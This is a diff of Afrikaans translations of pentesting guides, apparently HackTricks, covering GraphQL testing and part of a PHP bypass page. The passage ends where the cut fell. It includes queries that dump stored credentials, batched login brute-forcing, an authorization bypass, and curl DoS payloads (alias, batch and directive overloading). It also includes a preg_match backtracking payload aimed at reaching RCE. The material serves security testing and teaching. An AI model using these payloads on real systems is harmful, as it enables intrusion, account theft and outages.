-Om te kontroleer of 'n URL 'n GraphQL diens is, kan 'n **universele versoek**, `query{__typename}`, gestuur word. As die antwoord `{"data": {"__typename": "Query"}}` insluit, bevestig dit dat die URL 'n GraphQL eindpunt huisves. Hierdie metode berus op GraphQL se `__typename` veld, wat die tipe van die gevraagde objek onthul.
+Om te kontroleer of 'n URL 'n GraphQL diens is, kan 'n **universele vraag**, `query{__typename}`, gestuur word. As die antwoord `{"data": {"__typename": "Query"}}` insluit, bevestig dit dat die URL 'n GraphQL eindpunt huisves. Hierdie metode staatmaak op GraphQL se `__typename` veld, wat die tipe van die gevraagde objek onthul.
```javascript
query{__typename}
```
@@ -57,7 +57,7 @@ Met hierdie navraag kan jy al die tipes, dit se velde, en dit se argumente (en d
**Foute**
-Dit is interessant om te weet of die **foute** gaan **verskyn** aangesien dit sal bydra tot nuttige **inligting.**
+Dit is interessant om te weet of die **foute** gaan **verskyn** aangesien dit nuttige **inligting** sal bydra.
```
?query={__schema}
?query={}
@@ -180,11 +180,11 @@ Let daarop dat die tipe van die navraag "_flags_" is "_Flags_", en hierdie objek
.png>)
-Jy kan sien dat die "_Flags_" objekte saamgestel is uit **naam** en **waarde**. Dan kan jy al die name en waardes van die vlae met die navraag kry:
+Jy kan sien dat die "_Flags_" objektes bestaan uit **naam** en **waarde**. Dan kan jy al die name en waardes van die vlae met die navraag kry:
```javascript
query={flags{name, value}}
```
-Neem kennis dat as die **objek om te vra** 'n **primitiewe** **tipe** soos **string** is, soos in die volgende voorbeeld
+Let daarop dat in die geval waar die **objek om te vra** 'n **primitiewe** **tipe** soos **string** is, soos in die volgende voorbeeld
.png>)
@@ -193,7 +193,7 @@ Jy kan dit eenvoudig vra met:
query = { hiddenFlags }
```
In 'n ander voorbeeld waar daar 2 voorwerpe binne die "_Query_" tipe voorwerp was: "_user_" en "_users_".\
-As hierdie voorwerpe nie enige argument nodig het om te soek nie, kan **jy al die inligting van hulle** eenvoudig **vra** vir die data wat jy wil hê. In hierdie voorbeeld van die Internet kan jy die gestoor gebruikersname en wagwoorde onttrek:
+As hierdie voorwerpe nie enige argument nodig het om te soek nie, kan **jy al die inligting van hulle onttrek** net deur **te vra** vir die data wat jy wil hê. In hierdie voorbeeld van die Internet kan jy die gestoor gebruikersname en wagwoorde onttrek:
.png>)
@@ -211,15 +211,15 @@ So, deur 'n ligte _**uid**_ bruteforce uit te voer, het ek gevind dat in _**uid*
.png>)
-Let daarop dat ek **ontdek** het dat ek kon vra vir die **parameters** "_**user**_" en "_**password**_" omdat as ek probeer om iets te soek wat nie bestaan nie (`query={user(uid:1){noExists}}`) ek hierdie fout kry:
+Let daarop dat ek **ontdek** het dat ek kon vra vir die **parameters** "_**user**_" en "_**password**_" omdat as ek probeer om vir iets te soek wat nie bestaan nie (`query={user(uid:1){noExists}}`) ek hierdie fout kry:
.png>)
En tydens die **enumeration fase** het ek ontdek dat die "_**dbuser**_" voorwerp as velde "_**user**_" en "_**password**_" gehad het.
-**Query string dump trick (dankie aan @BinaryShadow\_)**
+**Query string dump trick (dank aan @BinaryShadow\_)**
-As jy kan soek op 'n string tipe, soos: `query={theusers(description: ""){username,password}}` en jy **soek vir 'n leë string** sal dit **alle data dump**. (_Let op dat hierdie voorbeeld nie verband hou met die voorbeeld van die tutorials nie, vir hierdie voorbeeld neem aan jy kan soek met "**theusers**" deur 'n String veld genaamd "**description**"_).
+As jy kan soek op 'n string tipe, soos: `query={theusers(description: ""){username,password}}` en jy **soek vir 'n leë string** sal dit **al die data dump**. (_Let op dat hierdie voorbeeld nie verband hou met die voorbeeld van die tutorials nie, vir hierdie voorbeeld neem aan jy kan soek met "**theusers**" deur 'n String veld genaamd "**description**"_).
### Soek
@@ -233,7 +233,7 @@ email
}
}
```
-Jy kan **soek** na persone **op** die **naam** en hul **subscribed** **films** kry:
+Jy kan **soek** na persone **deur** die **naam** en hul **subscribed** **films** kry:
```javascript
{
searchPerson(name: "John Doe") {
@@ -250,7 +250,7 @@ name
```
Let op hoe dit aangedui word om die `name` van die `subscribedMovies` van die persoon te verkry.
-Jy kan ook **verskeie objekte terselfdertyd soek**. In hierdie geval word daar 'n soektog na 2 flieks gedoen:
+Jy kan ook **verskeie voorwerpe terselfdertyd soek**. In hierdie geval word daar 'n soektog na 2 flieks gedoen:
```javascript
{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
@@ -281,7 +281,7 @@ name
}
}
```
-### Mutasies
+### Mutations
**Mutasies word gebruik om veranderinge aan die bedienerkant te maak.**
@@ -289,9 +289,9 @@ In die **introspeksie** kan jy die **verklaarde** **mutasies** vind. In die volg
.png>)
-In hierdie opstelling bevat 'n **databasis** **persone** en **flieks**. **Persone** word geïdentifiseer deur hul **e-pos** en **naam**; **flieks** deur hul **naam** en **gradering**. **Persone** kan vriende met mekaar wees en ook flieks hê, wat verhoudings binne die databasis aandui.
+In hierdie opstelling bevat 'n **databasis** **persone** en **flieks**. **Persone** word geïdentifiseer deur hul **e-pos** en **naam**; **flieks** deur hul **naam** en **gradering**. **Persone** kan vriende met mekaar wees en het ook flieks, wat verhoudings binne die databasis aandui.
-'n mutasie om **nuwe** flieks binne die databasis te skep kan soos die volgende een wees (in hierdie voorbeeld word die mutasie `addMovie` genoem):
+'n mutasie om **nuwe** flieks binne die databasis te **skep** kan soos die volgende een wees (in hierdie voorbeeld word die mutasie `addMovie` genoem):
```javascript
mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
@@ -304,7 +304,7 @@ rating
```
**Let op hoe beide die waardes en tipe data in die navraag aangedui word.**
-Boonop ondersteun die databasis 'n **mutation** operasie, genaamd `addPerson`, wat die skepping van **persons** saam met hul assosiasies aan bestaande **friends** en **movies** moontlik maak. Dit is belangrik om te noem dat die vriende en films vooraf in die databasis moet bestaan voordat hulle aan die nuutgeskepte persoon gekoppel kan word.
+Boonop ondersteun die databasis 'n **mutation** operasie, genaamd `addPerson`, wat die skep van **persons** saam met hul assosiasies aan bestaande **friends** en **movies** moontlik maak. Dit is belangrik om te noem dat die vriende en flieks vooraf in die databasis moet bestaan voordat hulle aan die nuut geskepte persoon gekoppel kan word.
```javascript
mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
@@ -334,18 +334,18 @@ releaseYear
```
### Direkte Oorbelasting
-Soos verduidelik in [**een van die kwesbaarhede beskryf in hierdie verslag**](https://www.landh.tech/blog/20240304-google-hack-50000/), impliseer 'n direkte oorbelasting om 'n direkte oproep selfs miljoene kere te maak om die bediener te laat mors met operasies totdat dit moontlik is om dit te DoS.
+Soos verduidelik in [**een van die kwesbaarhede beskryf in hierdie verslag**](https://www.landh.tech/blog/20240304-google-hack-50000/), impliseer 'n direkte oorbelasting om 'n direkte oproep selfs miljoene kere te maak om die bediener te laat mors met operasies totdat dit moontlik is om 'n DoS aan te dui.
### Groepering brute-force in 1 API versoek
Hierdie inligting is geneem van [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/).\
-Autentisering deur middel van GraphQL API met **gelyktydig baie navrae met verskillende akrediteerbes** om dit te toets. Dit is 'n klassieke brute force aanval, maar nou is dit moontlik om meer as een aanmeld/wagwoord paar per HTTP versoek te stuur as gevolg van die GraphQL groepering kenmerk. Hierdie benadering sou eksterne koersmonitering toepassings mislei om te dink alles is reg en daar is geen brute-forcing bot wat probeer om wagwoorde te raai nie.
+Autentisering deur middel van GraphQL API met **gelyktydig baie navrae met verskillende akrediteerbesonderhede** te stuur om dit te toets. Dit is 'n klassieke brute force aanval, maar nou is dit moontlik om meer as een aanmeld/wagwoord paar per HTTP versoek te stuur as gevolg van die GraphQL groepering kenmerk. Hierdie benadering sou eksterne koersmonitering toepassings mislei om te dink alles is reg en daar is geen brute-forcing bot wat probeer om wagwoorde te raai nie.
Hieronder kan jy die eenvoudigste demonstrasie van 'n toepassingsautentisering versoek vind, met **3 verskillende e-pos/wagwoord pare op 'n slag**. Dit is duidelik moontlik om duisende in 'n enkele versoek op dieselfde manier te stuur:
.png>)
-Soos ons kan sien uit die respons skermskoot, het die eerste en derde versoeke _null_ teruggegee en die ooreenstemmende inligting in die _error_ afdeling weerspieël. Die **tweede mutasie het die korrekte autentisering** data gehad en die respons het die korrekte autentisering sessie token.
+Soos ons kan sien uit die respons skermskoot, het die eerste en derde versoeke _null_ teruggestuur en die ooreenstemmende inligting in die _error_ afdeling weerspieël. Die **tweede mutasie het die korrekte autentisering** data gehad en die respons het die korrekte autentisering sessie token.
 (1).png>)
@@ -353,7 +353,7 @@ Soos ons kan sien uit die respons skermskoot, het die eerste en derde versoeke _
Al hoe meer **graphql eindpunte deaktiveer introspeksie**. Tog is die foute wat graphql gooi wanneer 'n onverwagte versoek ontvang word, genoeg vir gereedskap soos [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) om die meeste van die skema te herop te bou.
-Boonop observeer die Burp Suite uitbreiding [**GraphQuail**](https://github.com/forcesunseen/graphquail) **GraphQL API versoeke wat deur Burp gaan** en **bou** 'n interne GraphQL **skema** met elke nuwe navraag wat dit sien. Dit kan ook die skema vir GraphiQL en Voyager blootstel. Die uitbreiding gee 'n vals respons wanneer dit 'n introspeksie navraag ontvang. As gevolg hiervan, wys GraphQuail al die navrae, argumente, en velde beskikbaar vir gebruik binne die API. Vir meer inligting [**kyk hier**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
+Boonop observeer die Burp Suite uitbreiding [**GraphQuail**](https://github.com/forcesunseen/graphquail) **GraphQL API versoeke wat deur Burp gaan** en **bou** 'n interne GraphQL **skema** met elke nuwe navraag wat dit sien. Dit kan ook die skema blootstel vir GraphiQL en Voyager. Die uitbreiding keer 'n valse respons terug wanneer dit 'n introspeksie navraag ontvang. As gevolg hiervan, wys GraphQuail al die navrae, argumente, en velde beskikbaar vir gebruik binne die API. Vir meer inligting [**kyk hier**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
'n Goeie **woordlys** om [**GraphQL entiteite te ontdek kan hier gevind word**](https://github.com/Escape-Technologies/graphql-wordlist?).
@@ -397,7 +397,7 @@ ws.send(JSON.stringify(graphqlMsg))
```
### **Ontdek blootgestelde GraphQL-strukture**
-Wanneer introspeksie gedeaktiveer is, is dit 'n nuttige strategie om die webwerf se brondokument vir vooraf gelaaide navrae in JavaScript-biblioteke te ondersoek. Hierdie navrae kan gevind word met behulp van die `Sources`-tab in ontwikkelaarstoestelle, wat insigte bied in die API se skema en moontlik blootgestelde **sensitiewe navrae** onthul. Die opdragte om binne die ontwikkelaarstoestelle te soek is:
+Wanneer introspeksie gedeaktiveer is, is dit 'n nuttige strategie om die webwerf se brondokument te ondersoek vir vooraf gelaaide navrae in JavaScript-biblioteke. Hierdie navrae kan gevind word met behulp van die `Sources`-tab in ontwikkelaarstoestelle, wat insigte bied in die API se skema en moontlik blootgestelde **sensitiewe navrae** onthul. Die opdragte om binne die ontwikkelaarstoestelle te soek is:
```javascript
Inspect/Sources/"Search all files"
file:* mutation
@@ -417,7 +417,7 @@ Let daarop dat GraphQL versoeke gewoonlik via POST versoeke gestuur word met die
```javascript
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
```
-egter, die meeste GraphQL eindpunte ondersteun ook **`form-urlencoded` POST versoeke:**
+Echter, die meeste GraphQL eindpunte ondersteun ook **`form-urlencoded` POST versoeke:**
```javascript
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
```
@@ -427,13 +427,13 @@ Let egter daarop dat die nuwe standaard koekiewaarde van die `samesite` vlag van
Let daarop dat dit gewoonlik moontlik is om die **query** **versoek** ook as 'n **GET** **versoek** te stuur en die CSRF-token mag nie in 'n GET-versoek geverifieer word nie.
-Ook, deur 'n [**XS-Search**](../../pentesting-web/xs-search/) **aanval** te misbruik, mag dit moontlik wees om inhoud van die GraphQL eindpunt te ekfiltreer deur die gebruikers se geloofsbriewe te misbruik.
+Ook, deur 'n [**XS-Search**](../../pentesting-web/xs-search/index.html) **aanval** te misbruik, mag dit moontlik wees om inhoud van die GraphQL eindpunt te ekfiltreer deur die gebruikers se geloofsbriewe te misbruik.
Vir meer inligting **kyk die** [**oorspronklike pos hier**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html).
## Cross-site WebSocket kaping in GraphQL
-Soos CRSF kwesbaarhede wat GraphQL misbruik, is dit ook moontlik om 'n **Cross-site WebSocket kaping uit te voer om 'n outentisering met GraphQL met onbeveiligde koekies te misbruik** en 'n gebruiker onvoorsiene aksies in GraphQL te laat uitvoer.
+Soos CRSF kwesbaarhede wat GraphQL misbruik, is dit ook moontlik om 'n **Cross-site WebSocket kaping uit te voer om 'n outentisering met GraphQL te misbruik met onbeskermde koekies** en 'n gebruiker te laat optree op 'n onverwagte manier in GraphQL.
Vir meer inligting kyk:
@@ -455,17 +455,17 @@ Mutasie kan selfs lei tot rekening oorname deur te probeer om ander rekeningdata
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}
```
-### Oorbrugging van magtiging in GraphQL
+### Bypass autorisasie in GraphQL
-[Die ketting van navrae](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) saam kan 'n swak magtigingstelsel oorbrug.
+[Die ketting van navrae](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) saam kan 'n swak outentikasie-stelsel omseil.
-In die onderstaande voorbeeld kan jy sien dat die operasie "forgotPassword" is en dat dit slegs die forgotPassword-navraag wat daarmee geassosieer is, moet uitvoer. Dit kan oorbrug word deur 'n navraag aan die einde by te voeg, in hierdie geval voeg ons "register" en 'n gebruikersvariabele by sodat die stelsel as 'n nuwe gebruiker geregistreer kan word.
+In die onderstaande voorbeeld kan jy sien dat die operasie "forgotPassword" is en dat dit slegs die forgotPassword-navraag wat daarmee geassosieer is, moet uitvoer. Dit kan omseil word deur 'n navraag aan die einde toe te voeg, in hierdie geval voeg ons "register" en 'n gebruikersvariabele by sodat die stelsel as 'n nuwe gebruiker geregistreer kan word.
-## Oorbrugging van Tariefbeperkings met behulp van Aliasse in GraphQL
+## Omseiling van Tariefbeperkings met behulp van Aliasse in GraphQL
-In GraphQL is aliasse 'n kragtige kenmerk wat die **naamgewing van eienskappe eksplisiet** toelaat wanneer 'n API-versoek gemaak word. Hierdie vermoë is veral nuttig om **meervoudige instansies van dieselfde tipe** objek binne 'n enkele versoek te verkry. Aliasse kan gebruik word om die beperking te oorkom wat voorkom dat GraphQL-objekte meervoudige eienskappe met dieselfde naam het.
+In GraphQL is aliasse 'n kragtige kenmerk wat die **benaming van eienskappe eksplisiet** toelaat wanneer 'n API-versoek gemaak word. Hierdie vermoë is veral nuttig om **meervoudige instansies van dieselfde tipe** objek binne 'n enkele versoek te verkry. Aliasse kan gebruik word om die beperking te oorkom wat voorkom dat GraphQL-objekte meervoudige eienskappe met dieselfde naam het.
Vir 'n gedetailleerde begrip van GraphQL-aliasse, word die volgende hulpbron aanbeveel: [Aliasse](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
@@ -488,20 +488,20 @@ valid
```
## DoS in GraphQL
-### Alias Oorbelasting
+### Alias Oorgading
-**Alias Oorbelasting** is 'n GraphQL kwesbaarheid waar aanvallers 'n navraag oorlaai met baie aliase vir dieselfde veld, wat die agtergrondoplosser dwing om daardie veld herhaaldelik uit te voer. Dit kan bedienerhulpbronne oorweldig, wat lei tot 'n **Denial of Service (DoS)**. Byvoorbeeld, in die navraag hieronder, word dieselfde veld (`expensiveField`) 1,000 keer aangevra met behulp van aliase, wat die agtergrond dwing om dit 1,000 keer te bereken, wat moontlik die CPU of geheue kan uitput:
+**Alias Oorgading** is 'n GraphQL kwesbaarheid waar aanvallers 'n navraag oorlaai met baie aliase vir dieselfde veld, wat die agtergrondoplosser dwing om daardie veld herhaaldelik uit te voer. Dit kan bedienerhulpbronne oorweldig, wat lei tot 'n **Denial of Service (DoS)**. Byvoorbeeld, in die navraag hieronder, word dieselfde veld (`expensiveField`) 1,000 keer aangevra met behulp van aliase, wat die agtergrond dwing om dit 1,000 keer te bereken, wat moontlik die CPU of geheue kan uitput:
```graphql
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
'https://example.com/graphql'
```
-Om dit te verminder, implementeer alias telling beperkings, navraag kompleksiteitsanalise, of koersbeperking om hulpbronmisbruik te voorkom.
+Om dit te verminder, implementeer alias telling beperkings, navraag kompleksiteitsanalise, of koersbeperking om hulpbron misbruik te voorkom.
### **Array-gebaseerde Navraag Groepering**
-**Array-gebaseerde Navraag Groepering** is 'n kwesbaarheid waar 'n GraphQL API die groepering van verskeie navrae in 'n enkele versoek toelaat, wat 'n aanvaller in staat stel om 'n groot aantal navrae gelyktydig te stuur. Dit kan die agtergrond oorweldig deur al die gegroepeerde navrae parallel uit te voer, wat oormatige hulpbronne (CPU, geheue, databasisverbindinge) verbruik en moontlik kan lei tot 'n **Denial of Service (DoS)**. As daar geen limiet op die aantal navrae in 'n groep is nie, kan 'n aanvaller dit benut om diensbeskikbaarheid te verlaag.
+**Array-gebaseerde Navraag Groepering** is 'n kwesbaarheid waar 'n GraphQL API die groepering van verskeie navrae in 'n enkele versoek toelaat, wat 'n aanvaller in staat stel om 'n groot aantal navrae gelyktydig te stuur. Dit kan die agterkant oorweldig deur al die gegroepeerde navrae gelyktydig uit te voer, wat oormatige hulpbronne (CPU, geheue, databasisverbindinge) verbruik en potensieel kan lei tot 'n **Denial of Service (DoS)**. As daar geen limiet op die aantal navrae in 'n groep is nie, kan 'n aanvaller dit benut om diens beskikbaarheid te verlaag.
```graphql
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
@@ -509,11 +509,11 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" \
-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \
'https://example.com/graphql'
```
-In hierdie voorbeeld word 10 verskillende vrae in een versoek gebundel, wat die bediener dwing om al hulle gelyktydig uit te voer. As dit met 'n groter bundelgrootte of rekenaarintensiewe vrae uitgebuit word, kan dit die bediener oorlaai.
+In hierdie voorbeeld word 10 verskillende navrae in een versoek gebundel, wat die bediener dwing om al hulle gelyktydig uit te voer. As dit met 'n groter bundelgrootte of rekenaarintensiewe navrae uitgebuit word, kan dit die bediener oorlaai.
-### **Direktiewe Oorlaai Kw vulnerability**
+### **Direktiewe Oorlaai Kwetsbaarheid**
-**Direktiewe Oorlaai** vind plaas wanneer 'n GraphQL-bediener vrae met oormatige, gedupliseerde direktiewe toelaat. Dit kan die bediener se parser en eksekuteur oorweldig, veral as die bediener herhaaldelik dieselfde direktiewe logika verwerk. Sonder behoorlike validering of perke kan 'n aanvaller dit uitbuit deur 'n vraag te skep met talle gedupliseerde direktiewe om hoë rekenaar- of geheuegebruik te aktiveer, wat lei tot **Denial of Service (DoS)**.
+**Direktiewe Oorlaai** vind plaas wanneer 'n GraphQL-bediener navrae met oormatige, gedupliseerde direktiewe toelaat. Dit kan die bediener se parser en eksekuteur oorweldig, veral as die bediener herhaaldelik dieselfde direktiewe logika verwerk. Sonder behoorlike validering of perke kan 'n aanvaller dit uitbuit deur 'n navraag te skep met talle gedupliseerde direktiewe om hoë rekenaar- of geheuegebruik te ontketen, wat lei tot **Denial of Service (DoS)**.
```bash
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
@@ -528,7 +528,7 @@ curl -X POST \
-d '{"query": "query cop { __typename @include(if: true) @include(if: true) @include(if: true) @include(if: true) @include(if: true) }", "operationName": "cop"}' \
'https://example.com/graphql'
```
-Jy kan ook 'n introspeksie-vraag stuur om al die verklaarde riglyne te ontdek:
+Jy kan ook 'n introspeksievraag stuur om al die verklaarde riglyne te ontdek:
```bash
curl -X POST \
-H "Content-Type: application/json" \
@@ -537,9 +537,9 @@ curl -X POST \
```
En dan **gebruik sommige van die persoonlike** eenhede.
-### **Veld Duplikaasievulnerabiliteit**
+### **Veld Duplikasie Kwetsbaarheid**
-**Veld Duplikaasie** is 'n kwesbaarheid waar 'n GraphQL-bediener navrae met dieselfde veld wat oormatig herhaal word, toelaat. Dit dwing die bediener om die veld oorbodig op te los vir elke instansie, wat beduidende hulpbronne (CPU, geheue en databasisoproepe) verbruik. 'n Aanvaller kan navrae saamstel met honderde of duisende herhaalde velde, wat 'n hoë las veroorsaak en moontlik kan lei tot 'n **Denial of Service (DoS)**.
+**Veld Duplikasie** is 'n kwesbaarheid waar 'n GraphQL-bediener navrae toelaat met dieselfde veld wat oormatig herhaal word. Dit dwing die bediener om die veld oorbodig op te los vir elke instansie, wat beduidende hulpbronne (CPU, geheue, en databasisoproepe) verbruik. 'n Aanvaller kan navrae saamstel met honderde of duisende herhaalde velde, wat 'n hoë las veroorsaak en moontlik kan lei tot 'n **Denial of Service (DoS)**.
```bash
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
@@ -558,8 +558,8 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Kan ook as 'n CLI kliënt gebruik word om aanvalle te outomatiseer
- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Gereedskap wat die verskillende maniere lys om **'n gegewe tipe in 'n GraphQL skema te bereik**.
- [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): Die opvolger van Standalone en CLI Modus van InQL
-- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Burp uitbreiding vir gevorderde GraphQL toetsing. Die _**Scanner**_ is die kern van InQL v5.0, waar jy 'n GraphQL eindpunt of 'n plaaslike introspeksie skema lêer kan analiseer. Dit genereer outomaties al moontlike vrae en mutasies, en organiseer dit in 'n gestruktureerde weergawe vir jou analise. Die _**Attacker**_ komponent laat jou toe om batch GraphQL aanvalle te voer, wat nuttig kan wees om swak geïmplementeerde koerslimiete te omseil.
-- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): Probeer om die skema te kry selfs met introspeksie gedeaktiveer deur die hulp van sommige Graphql databasisse te gebruik wat die name van mutasies en parameters sal voorstel.
+- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Burp uitbreiding vir gevorderde GraphQL toetsing. Die _**Scanner**_ is die kern van InQL v5.0, waar jy 'n GraphQL eindpunt of 'n plaaslike introspeksie skema lêer kan analiseer. Dit genereer outomaties al moontlike vrae en mutasies, en organiseer dit in 'n gestruktureerde weergawe vir jou analise. Die _**Attacker**_ komponent laat jou toe om batch GraphQL aanvalle te voer, wat nuttig kan wees om swak geïmplementeerde koersbeperkings te omseil.
+- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): Probeer om die skema te kry selfs met introspeksie gedeaktiveer deur die hulp van sommige Graphql databasisse wat die name van mutasies en parameters sal voorstel.
### Kliënte
diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md
index e4715c189..9532b3856 100644
--- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md
+++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md
@@ -23,7 +23,7 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
### Los vergelykings/Tipe Juggling ( == )
-As `==` in PHP gebruik word, is daar onverwagte gevalle waar die vergelyking nie gedraai soos verwag nie. Dit is omdat "==" slegs waardes vergelyk wat na dieselfde tipe omgeskakel is; as jy ook wil vergelyk dat die tipe van die vergelykte data dieselfde is, moet jy `===` gebruik.
+As `==` in PHP gebruik word, is daar onverwagte gevalle waar die vergelyking nie soos verwag werk nie. Dit is omdat "==" slegs waardes vergelyk wat na dieselfde tipe omgeskakel is; as jy ook wil vergelyk dat die tipe van die vergelykte data dieselfde is, moet jy `===` gebruik.
PHP vergelykingstabelle: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
@@ -73,7 +73,7 @@ Selfs al word `===` **gebruik** kan daar foute wees wat die **vergelyking kwesba
#### Nuwe lyn omseiling
-E however, wanneer die begin van die regexp `preg_match()` **slegs die eerste lyn van die gebruikersinvoer kontroleer**, dan, as jy op een of ander manier die invoer in **verskeie lyne** kan **stuur**, kan jy in staat wees om hierdie kontrole te omseil. Voorbeeld:
+E however, wanneer die begin van die regexp `preg_match()` **slegs die eerste lyn van die gebruikersinvoer** **kontroleer**, dan as jy op een of ander manier die invoer in **verskeie lyne** kan **stuur**, kan jy in staat wees om hierdie kontrole te omseil. Voorbeeld:
```php
$myinput="aaaaaaa
11111111"; //Notice the new line
@@ -97,7 +97,7 @@ Vind 'n voorbeeld hier: [https://ramadistra.dev/fbctf-2019-rceservice](https://r
#### **Lengte fout omseiling**
(Die omseiling is blykbaar op PHP 5.2.5 probeer en ek kon dit nie op PHP 7.3.15 laat werk nie)\
-As jy `preg_match()` 'n geldige baie **groot invoer** kan stuur, **sal dit nie in staat wees om dit te verwerk nie** en jy sal in staat wees om die kontrole te **omseil**. Byvoorbeeld, as dit 'n JSON swartlys, kan jy stuur:
+As jy `preg_match()` 'n geldige baie **groot invoer** kan stuur, **sal dit nie in staat wees om dit te verwerk** nie en jy sal in staat wees om die kontrole te **omseil**. Byvoorbeeld, as dit 'n JSON swartlys, kan jy stuur:
```bash
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
```
@@ -112,10 +112,10 @@ Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-
In kort gebeur die probleem omdat die `preg_*` funksies in PHP op die [PCRE biblioteek](http://www.pcre.org/) bou. In PCRE word sekere gereelde uitdrukkings gematch deur 'n groot aantal rekursiewe oproepe te gebruik, wat baie stapelruimte gebruik. Dit is moontlik om 'n limiet op die aantal toegelate rekursies in te stel, maar in PHP is hierdie limiet [standaard op 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) wat meer is as wat in die stapel pas.
[Hierdie Stackoverflow draad](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) is ook in die pos gekoppel waar daar meer in diepte oor hierdie probleem gepraat word. Ons taak was nou duidelik:\
-**Stuur 'n invoer wat die regex 100_000+ rekursies sal laat doen, wat SIGSEGV veroorsaak, wat die `preg_match()` funksie laat terugkeer `false` en dus die aansoek laat dink dat ons invoer nie kwaadwillig is nie, wat die verrassing aan die einde van die payload iets soos `{system()}` laat wees om SSTI --> RCE --> vlag :)**.
+**Stuur 'n invoer wat die regex 100_000+ rekursies sal laat doen, wat SIGSEGV veroorsaak, wat die `preg_match()` funksie `false` laat teruggee, wat die aansoek laat dink dat ons invoer nie kwaadwillig is nie, en die verrassing aan die einde van die payload iets soos `{system()}` laat wees om SSTI --> RCE --> vlag :)**.
Wel, in regex terme, doen ons nie eintlik 100k "rekursies" nie, maar eerder tel ons "terugspoel stappe", wat soos die [PHP dokumentasie](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) sê, standaard op 1_000_000 (1M) in die `pcre.backtrack_limit` veranderlike is.\
-Om dit te bereik, sal `'X'*500_001` lei tot 1 miljoen terugspoel stappe (500k vorentoe en 500k agtertoe):
